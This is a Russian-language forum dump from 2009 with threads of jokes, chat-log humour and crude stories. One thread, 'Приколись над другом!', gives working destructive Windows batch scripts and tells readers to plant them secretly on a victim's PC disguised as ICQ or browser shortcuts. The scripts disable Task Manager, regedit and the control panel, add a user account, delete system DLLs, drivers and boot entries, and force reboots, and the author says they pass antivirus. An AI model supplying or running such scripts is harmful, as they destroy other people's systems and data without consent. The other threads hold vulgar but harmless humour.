No_OxyGen Team

Логи из асек, скайпов и тп.

STRIKE — Wed, 19 Aug 2009 05:09:57 GMT

5:40:40: Коллега общался тут по аське с дизайнером из Питера. После того, как он пересказал часть беседы, работа в офисе встала на неопределенное время. Идиотский смех до сих пор раздается то с одного, то с другого рабочего места. Вобщем, вот, насладитесь.

15:21:05 designer wrote:
сейчас сделаем

15:21:17 gs wrote:
ага, присылайте тогда

15:22:17 designer wrote:
может перейдем на "ТЫ", а то как-то дискомфортно

15:22:23 gs wrote:
да запросто )

15:22:27 designer wrote:
супер

15:22:46 designer wrote:
ты конина

15:22:50 designer wrote:
блядская

15:22:55 designer wrote:
упс

15:22:57 designer wrote:
сорри

15:23:00 designer wrote:
окошечком

15:23:01 designer wrote:
ошибся

15:23:05 gs wrote:
эээээ ))))))

15:23:08 designer wrote:
Андрей

15:23:10 designer wrote:
сорри

15:23:16 designer wrote:
честно не тебе

15:23:17 gs wrote:
я подумал это стремительное продолжение перехода с вы на ты ))

15:23:24 designer wrote:
мда

15:23:28 designer wrote:
второй раз в жизни так попадаю

15:23:36 gs wrote:
да ладно, ничо ))

15:23:39 designer wrote:
у нас с коллегой деловое общение

15:23:46 designer wrote:
он не успевает по срокам

15:23:47 gs wrote:
догадываюсь ))

Цитатник форумов

STRIKE — Wed, 12 Aug 2009 05:45:24 GMT

У меня есть одна проблема, и я не знаю, как с ней бороться. Дело в том, что я боюсь своего парня. Он ко мне хорошо относится, но как только я чувствую, что он должен прийти ко мне, то становлюсь нервной, меня буквально все раздражает. Я мечусь по комнате. Когда я с ним рядом, я чувствую себя спокойно, а до его прихода мне просто страшно его увидеть.
Кристина
Хе, мне почему-то сразу представился твой парень: бритоголовый фрик в кожаном ошейнике с шипами и с вытатуированным на груди бультерьером. Один глаз у твоего мальчика заменен био-имплантом красного цвета, а запекшиеся мозги вытекают через дырку в черепе. В левой руке у него вращающаяся циркулярная пила, а вместо правой - крюк с зазубринами. Ничего, сладкая: стерпится - слюбится...

Копирайты с форумов

STRIKE — Wed, 12 Aug 2009 05:44:03 GMT

Господи, неужели бывают такие девушки?
http://fishki.net/comment.php?id=15790

Приколись над другом!

STRIKE — Thu, 09 Jul 2009 06:40:20 GMT

Все наверное любят пошутить, в инете много различных прог для выматывания нервов товарищам. К сожалению бывает попадаются в таких программах реальные вирусы, которые очень тяжело вылечить.
В этой теме я буду писать коды bat-файлов с целью пошутить над другом и не нарваться на вирусы в инете при скачивании вирус-генератора. Описываю как можно пошутить... ну или запороть систему
1. Копируем один из кодов ниже (CTRL+C - скопировать выделеное)
2. Открываем блокнот , вписываем код (CTRL+V - вставить). Жмем "Save as (или "сохранить как"), сохраняем наш чудо "вирус" с разшерением "bat"(!), именно bat, никаких txt.
3. Далее незаметно копируем наш вирус на комп жертвы. (скажем удобно это сделать в гостях, или на работе в оффисе). Переименовываем под самый популярный ярлык (Enternet Exploer, Mozilla, ICQ, что-нибуть из этого), оригинальный ярлык стираем. Ставим нашему "чудо-ярлыку" иконку той программы имя которой он гордо носит (ПКМ по ярлыку>свойства). Если это ICQ то ставим иконку аси, если ярлык "QIP" то значок квипа, ну вообщем поняли.

Список небольших приколов с описанием.
1. "Наебка" :
Доступно только для пользователей

Code

@echo off
color FE
time 0:00
%SystemRoot%/system32/rundll32 user32, SwapMouseButton
taskkill /f /im explorer.exe
time 6:66
msg * "Удаление основных процессов завершено"
msg * "Форматирование файловой таблицы жесткого диска завершеноî?"
msg * "Удаление ядра системы выполнено."
label C:MYA-XA-XA
shutdown -r -t 5 -c "Format C:...Completed, rebooting" -f
del "%0"

Небольшой такой прикол, ничего жуткого небудет. После рестарта компа все будет как и раньше (если юзер не баран - он сотрет "чудо-ярлык".)
1. У жертвы сбивается время.
2. Меняются местами кнопки мышки (Левая будет правой, правоя - леовй).
3. Убивается процесс explorer, исчезнет рабочий стол.
4. Выскакивает 3 сообщения подряд (задержку пока не смог ерализовать)
5. Имя жесткого диска С меняется. С последующей перезагрузкой компьютера. Сам вирус удаляется.
2. "Маменькин сынок":
Доступно только для пользователей

Code

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

Это уже скорее не шутка, а вирус. Потребуется откат системы для востановления всего того натворит эта бяка.
1. Запрещает юзать редактор реестра.
2. Запрещает юзать панель управления.
3. Запрещает запускать программы.
4. Запрещает запускать диспетчер задач.
Правда херово когда вам все запрещают?
3. "Привет Пянгвин":
Доступно только для пользователей

Code

@echo off
label C:MYA-XA-XA
net user "You (F)Hacked" /add
del "%SystemRoot%\notepad.exe"
taskkill /f /im explorer.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
del "%SystemRoot%\Web\Wallpaper" /q
del "%SystemRoot%\Media" /q
del "%SystemRoot%\Cursors\*.*"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
time 0:00
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f
%SystemRoot%/system32/rundll32 user32, SwapMouseButton
bootcfg /delete /id 1
bootcfg /delete /id 1
bootcfg /delete /id 1
del %SystemRoot%\system32\devmgmt.msc
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q
del "%SystemRoot%\system32\*.dll" /q
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
msg * "Format C:...Completed!"
shutdown -r -t 10 -c "lol" -f

Любите windows? Мы уже идем к вам. Если (не дай бог) запустите у себя на компе это, лишитесь всей системы, поможет только livecd, может быть откат системы (хотя врятли).
1. Запрещаем все что можно (Смотри вирус "Маменькин сынок")
2. Удаляем курсоры, звуки, обои, также удаляются некоторые драйвера, систмные dll библиотеки, стирается диспетчер устройств... стирается даже блокнот xD
3. Убиваем проводник, сбиваем время. Выводим сообщение о форматирование диска (вирус считайте форматнул ва винду о кусочкам ). Завершает этот праздник ребут компа.. правдо винда уже не стартанет.
PS. После такого жесткача я бы перешл на пингвинов.. именно поэтому так и азвал этот вирус.
Если кому то нужны определенные действие (скаже автоматическое сбивание времени и убийство проводника при старте компа) пишите в этой теме.
ЗАПУСК У СЕБЯ НА КОМПЬЮТЕРЕ ПОДОБНЫХ ШТУЧЕК НЕ РЕКОМЕНДУЮ! ОНИ ВСЕ ПРЕКРАСТНО РАБОТАЮТ ДАЖЕ ЕСЛИ СТОЯТ НАВОРОЧЕНЫЕ АНТИВИРУСЫ И ПРОЧАЯ ЛАБУДА!!! И ТАКЖЕ НЕ СОВЕТУЮ ИЗДЕВАТСЯ НАД НЕСЧАСТНЫМ КОМПОМ БОССА ИЛИ СТАРШЕГО БРАТА. ПЕРВЫЙ УВОЛИТ, ВТОРОЙ ДАСТ П#ЗДЫ.

Веселые тесты

STRIKE — Thu, 02 Jul 2009 15:27:13 GMT

http://grudina.info/newyear/index.php
Вот что у мну вышло:
Здравствуй Дедушка Мороз ! Меня зовут Алексей. Мне 15 лет ! Не много не мало, но я верю и надеюсь в то, что ты есть и сейчас читаешь моё письмо. Моя мама очень злая тётя. Она не разрешает писать мне письма тебе, и поэтому я сижу в антарктиде и пишу это письмо. Мама выпускает меня гулять только до 12:00. Когда я её не слушаюсь, она бросает в меня фаллос и частенько попадает мне прямо в член =( Однажды я не вытерпел и сказал ей: "xd". Мой папа работает нихеранеделаньеом и приходя с работы с плохим настроением, он кричит: "иди нахуй" И заставляет меня чинить его моск. Но я не умею ничего ремонтировать, и поэтому у меня получается меня. Он злится ещё сильнее, и запрещает мне играть в бутылочка с друзьями. Ещё папа придумал мне кличку, и зовёт меня не Алексей, а Тоша ! Это очень обидно. В общем, дедушка мороз, если ты не плохой человек, то ты поймёшь как мне круто. Дорогой Дедушка мороз - красная голова члена забери меня к себе или вышли мне фаллос. Ещё сделай так, что бы близкие мне люди любили меня и почаще давали мне денег на трахацо. Любимый дед мороз, ты мой последний шанс. Я надеюсь на новый год я найду под ёлочкой баб. Дед Мороз, пойми как мне круто. Если ты не прочтёшь это письмо или оно не дойдёт до тебя, мне бо-бо. Помни что я верю в тебя лохобот !

Анекдоты

STRIKE — Thu, 18 Jun 2009 20:57:09 GMT

Следуя моде Голливуда снимать фильмы по компьютерным играм, грузинские
кинематографисты сняли серию короткометражных юмористических фильмов:
САПЕР, СОЛИТЕР, ПАСЬЯНС "ПАУК", ПАСЬЯНС "СВОБОДНАЯ ЯЧЕЙКА".

Едем с сестрой в Финляндии на машине с правым рулем, сестра за рулем, а я слева на пассажирском сидении читаю газету. Вдруг сзади слышим сигнал полицейской машины и приказ нам остановить машину. Подбегает полицейский и зло вырывает у мены из рук газету, затем растерянно спрашивает: А где руль?

Вечер, телевизор, футбол. Муж прилип к экрану. Жена в легком халатике
пристает к нему:
- Милый, ну пойдем спать! - ноль внимания в ответ.
Жена не унимается:
- Ну, котик мой, рыбка, зайчик...
Муж слегка раздраженно:
- Мне что, сразу похрюкать, чтоб ты догадалась?

Из жизни.
Иду по улице, прохожу мимо магазина "Товары для новорожденных".
В витрине развешаны всякие ползунки-башмачки-игрушки и фотографии улыбающихся карапузов.
А над всем этим надпись, которая меня просто убила: "Залетайте - не пожалеете!".

- Сынок, ты когда вырастешь, кем хочешь стать?
- ыыы... ну эта... садовником
- ??? аа... ну.. может еще кем-то?
- гыы! Ну ищо эта... чистильщиком бассейна
- ??????? Ну может еще кем-то?????
- сантехником!
- та-ак... Слышь, мать! Он по ходу КАССЕТУ НАШЕЛ!!!!

Женская правда - это когда ты варишь кофе, а к тебе ни нюхастый почтальон в дверь не ломится, ни драный маляр-мачо за окном не малюет, ни*уя никого нет, сидишь и пьешь кофе.

В школе нас учили одевать противогаз следущим способом (дословно речь препода по ОБЖ):
- Засовываем 4 пальца в задний проход и натягиваем до тех пор, пока очко не будет напротив глаза...

В юности я обнаружил, что большой палец ноги рано или поздно проделывает дырку в носке. Поэтому я перестал надевать носки.
А.Эйнштейн.

Смешные истории

STRIKE — Sun, 14 Jun 2009 01:28:16 GMT

Дочитайте до конца жуткая история аж до слёз

В 13 лет я была на редкость некрасивым ребенком: очень худой прыщавый червяк с большой головой и кривыми зубами. Моя мама меня стеснялась и весь пубертатный период старалась держать меня подальше от родных и знакомых, на все лето отправляла меня в пионерский лагерь. Пионерский лагерь состоял из бараков с детьми, домика администрации и четырех туалетов. Туалеты состояли из кирпичной будки, ямы, закрывающего эту яму деревянного настила с дырками и говна с хлоркой. Говно с хлоркой воняли, поэтому туалеты предусмотрительно строили далеко от жилых помещений и обсаживали их кустами.

Девочки долгое время думали, что я мальчик. В общем, со мной не дружили.
В ту роковую ночь полуночный понос стал моим единственным товарищем.

Поносил весь лагерь: зеленые фрукты, немытые руки повара и всякое дерьмо, которое жрали пионеры с голодухи делали свое дело. Дырки в тубзике были обгажены расстроенными желудками четырехсот человек и девочки ходили срать парами: одна гадит, другая светит фонарем, чтоб первая не вляпалась в продукты распада предшественниц. Мне никто не хотел светить фонарем, поэтому в ту ночь я высирала солянку в гордом одиночестве; в тусклом свете фонаря были видны только очертания, и, сидя над дырой, я смирилась с тем, что уже вляпалась в чье-то скользкое говно. Неожиданно какая-то тень метнулась прямо на меня, я заорала, резко дернула неустойчивым туловищем, ноги проехались по чьему-то поносу и я вошла в очко как хорошо смазанная гильза. Фак! Летучая мышь загнала меня по пояс в кучу дерьма, над головой смутно виднелась очко, если кто-нибудь сейчас придет гадить, то положение мое ухудшится. Надо
выбираться!
Через полчаса, пыхтя и шепотом ругаясь матом, я дотянулась до очка
руками: это, блин, было сложно... все твердые опоры были скользкими, как суки! Ухватившись за края дыры, я подтянулась и высунула башку: от свежего воздуха закружилась голова и я удержалась на завоеванных позициях только волей к свободе. Подтянулась еще и оперлась на
локти: нужно за что-то ухватиться, чтоб не соскользнуть. Все вокруг было склизким, зацепиться можно было только за поперечную деревянную балку в полуметре от меня, я с остервенением пыталась до нее дотянуться, шипя от напряжения:- Ну! Иди же сюда, сука! Дай, я до тебя дотянусь!..

Вдруг меня ослепила вспышка света, потом какой-то не то вздох, не то
стон, и глухой стук... я пересрала и свалилась обратно. Еще полчаса...
и я снова над очком. Так. Тянемся? Есть! Я схватилась за перекладину и
вылезла на бетонный пол еле дыша от счастья. Отдышавшись, решила
переть к реке отмываться. Метрах в пяти от тубзика валялся директор, рядом с ним валялся разбитый фонарь... сдох что ли? Я пошла на речку, отмылась как смогла, а потом позвала людей: может и не сдох еще, спасти можно.Утром нам сказали, что у директора случился удар, вернулся в лагерь он только под конец смены. Говорить он не мог, сидел весь день на веранде и ему нравилось, когда к нему ходили дети. Я навещала его часто, он меня особенно любил... ведь именно я тогда позвала к нему людей.

На следующий год мы узнали, что перед смертью директор ненадолго
пришел в себя. Он сказал, что в ту ночь он обходил территорию, случайно услышал странное пыхтение в туалете и открыл дверь. На него из зловонной дыры лез адский говняный лупоглазый червяк, тянул к нему щупальца и шипел:

- Ну-у-у... Иди же сюда-а... ссссука-а... Дай, я до тебя
дотянуссссь!..

За лупоглазую обидно, конечно.

вот такая судьба у человека

оригинал:http://homenet.corbina.net/index.php?showtopic=16045

Смешные картинки

STRIKE — Mon, 16 Feb 2009 12:17:24 GMT

Позитивное видео

STRIKE — Mon, 12 Jan 2009 17:43:09 GMT

Игра в слова)

Smoke — Thu, 25 Dec 2008 07:05:34 GMT

Пусть потом тему перенесут в пожходящий раздел)
Простая стандартная игра в слова
Не надо выдумывать. Нельзя использовать какие-то части речи, кроме существительного. Нельзя их употреблять в множественном числе!

Конопля